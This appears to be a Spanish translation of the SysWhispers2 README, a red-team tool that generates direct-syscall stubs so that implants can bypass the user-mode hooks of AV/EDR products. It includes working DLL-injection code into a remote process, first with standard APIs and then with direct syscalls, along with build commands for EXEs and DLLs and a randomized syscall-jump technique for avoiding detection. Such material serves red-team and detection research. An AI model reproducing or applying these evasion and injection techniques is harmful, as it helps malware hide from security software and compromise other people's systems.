
Evasión de AV/EDR mediante llamadas directas al sistema.
SysWhispers ayuda con la evasión generando archivos de encabezado/ASM que los implants pueden usar para hacer llamadas directas al sistema.
Todas las llamadas al sistema principales son compatibles y hay archivos de ejemplo generados disponibles en la carpeta example-output/.
El uso es casi idéntico a SysWhispers1 pero no tienes que especificar qué versiones de Windows soportar. La mayoría de los cambios están bajo el capó. Ya no depende de las tablas de syscall de @j00ru, y en su lugar utiliza la técnica de "ordenación por dirección de llamada al sistema" popularizada por @modexpblog. Esto reduce significativamente el tamaño de los stubs de syscall.
La implementación específica en SysWhispers2 es una variación del código de @modexpblog. Una diferencia es que los hashes de nombres de funciones se aleatorizan en cada generación. @ElephantSe4l, quien publicó esta técnica antes, tiene otra implementación basada en C++17 que también vale la pena revisar.
El repositorio original de SysWhispers sigue en pie pero podría quedar obsoleto en el futuro.
Varios productos de seguridad colocan hooks en funciones de API en modo usuario que les permiten redirigir el flujo de ejecución a sus motores y detectar comportamientos sospechosos. Las funciones en ntdll.dll que realizan las llamadas al sistema consisten en solo unas pocas instrucciones de ensamblador, por lo que reimplementarlas en tu propio implant puede evitar la activación de esos hooks de productos de seguridad. Esta técnica fue popularizada por @Cn33liz y su publicación en blog tiene más detalles técnicos que vale la pena leer.
SysWhispers proporciona a los red teamers la capacidad de generar pares de encabezado/ASM para cualquier llamada al sistema en la imagen del núcleo del kernel (ntoskrnl.exe). Los encabezados también incluirán las definiciones de tipos necesarias.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usar el interruptor --preset common creará un par de encabezado/ASM con las siguientes funciones:
Los siguientes ejemplos demuestran cómo compilar los programas de ejemplo anteriores como EXE y DLL usando MinGW y el ensamblador NASM:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 genera un archivo .s compatible con clang que contiene los stubs ASM. Esto se puede usar con llvm para compilar tu código. Por ejemplo, usando el ejemplo de inyección de DLL CreateRemoteThread anterior:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
La opción de salida inlinegas generará una versión solo de encabezado de Syswhispers2 que se puede usar con la compilación de BOFs. Simplemente incluya el encabezado en su proyecto.
Al usar la rutina de salto de syscall aleatorio es posible evitar la "marca del syscall". El stub de ensamblador llama a una nueva función SW__GetRandomSyscallAddress que busca y selecciona una instrucción de syscall limpia en ntdll.dll para usar. Al hacer esto, también es posible evitar activar instrucciones de syscall en modo usuario.
Para usar saltos de syscall aleatorios, necesitarás definir RANDSYSCALL al compilar tu programa y usar la versión rnd de la salida de SysWhispers2. Los siguientes ejemplos demuestran el uso de los stubs de GNU Assembler.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) no son compatibles.syscalls.h ya han sido definidos.
--preset all rara vez es necesario).syscalls.h.Desarrollado por @Jackson_T y @modexpblog, pero se basa en el trabajo de muchos otros:
Este proyecto está licenciado bajo la Licencia Apache 2.0.